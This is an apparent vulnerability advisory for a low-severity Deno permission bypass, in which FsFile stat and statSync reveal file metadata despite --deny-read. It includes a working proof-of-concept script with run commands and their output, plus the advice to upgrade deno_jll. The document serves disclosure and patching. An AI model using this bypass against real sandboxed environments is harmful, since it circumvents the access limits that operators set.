Monitor vulnerabilities like this one. Sign up free to get alerted when software you use is affected.
3.3

Deno allows unauthorized access to file stats even with restricted permissions

JLSEC-2026-112
Summary

Deno's Deno.FsFile.prototype.stat and Deno.FsFile.prototype.statSync methods can reveal file information to scripts that don't have permission to read the file. This can happen even if you've restricted the script's access to the file using the --deny-read option. To protect your files, make sure to use the allow-read option or avoid using these methods when permissions are restricted.

What to do
  • Update deno_jll to version 2.6.3+0.
Affected software
Ecosystem VendorProductAffected versions
Julia deno_jll < 2.6.3+0
Fix: upgrade to 2.6.3+0
Original title
Deno's --deny-read check does not prevent permission bypass
Original description
### Summary

`Deno.FsFile.prototype.stat` and `Deno.FsFile.prototype.statSync` are not limited by the permission model check `--deny-read=./`.

It's possible to retrieve stats from files that the user do not have explicit read access to (the script is executed with `--deny-read=./`)

Similar APIs like `Deno.stat` and `Deno.statSync` require `allow-read` permission, however, when a file is opened, even with file-write only flags and deny-read permission, it's still possible to retrieve file stats, and thus bypass the permission model.

### PoC

Setup:

```
deno --version
deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)
v8 13.7.152.14-rusty
typescript 5.8.3

touch test1.txt
```

- `poc_file.stat.ts`

```ts
// touch test1.txt
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1
// deno run --allow-write=./ poc_file.stat.ts 1
async function poc1(){
using file = await Deno.open("./test1.txt", { read: false, write: true});
const fileInfo = await file.stat();
console.log(fileInfo.isFile);
}

// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2
// deno run --allow-write=./ poc_file.stat.ts 2
function poc2(){
using file = Deno.openSync("./test1.txt", { read: false, write: true});
const fileInfo = file.statSync();
console.log(fileInfo.isFile);
}

// https://docs.deno.com/api/deno/~/Deno.stat
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3
// deno run --allow-write=./ poc_file.stat.ts 3
async function poc3(){
// not executed
const fileInfo = await Deno.stat("./test1.txt");
console.log(fileInfo.isFile);
}

// https://docs.deno.com/api/deno/~/Deno.statSync
// deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4
// deno run --allow-write=./ poc_file.stat.ts 4
function poc4(){
// not executed
const fileInfo = Deno.statSync("./test1.txt");
console.log(fileInfo.isFile);
}


async function main(){
const poc = Deno.args[0] || 1;

const status = await Deno.permissions.query({ name: "read", path: "./" });
console.log(status);
switch (poc) {
case "1":
poc1()
break;
case "2":
poc2()
break;
case "3":
poc3()
break;
case "4":
poc4()
break;
default:
poc1()
}
}

main()
```

Output:

- `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 1`

```
PermissionStatus { state: "denied", onchange: null }
true
```

- `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 2`

```
PermissionStatus { state: "denied", onchange: null }
true
```

- `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 3`

```
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag
const fileInfo = await Deno.stat("./test1.txt");
^
...
```

- `deno run --deny-read=./ --allow-write=./ poc_file.stat.ts 4`

```
PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires read access to "./test1.txt", run again with the --allow-read flag
const fileInfo = Deno.statSync("./test1.txt");
^
...
```

### Impact

Permission model bypass
osv CVSS3.1 3.3
Published: 14 Apr 2026 · Updated: 14 Apr 2026 · First seen: 14 Apr 2026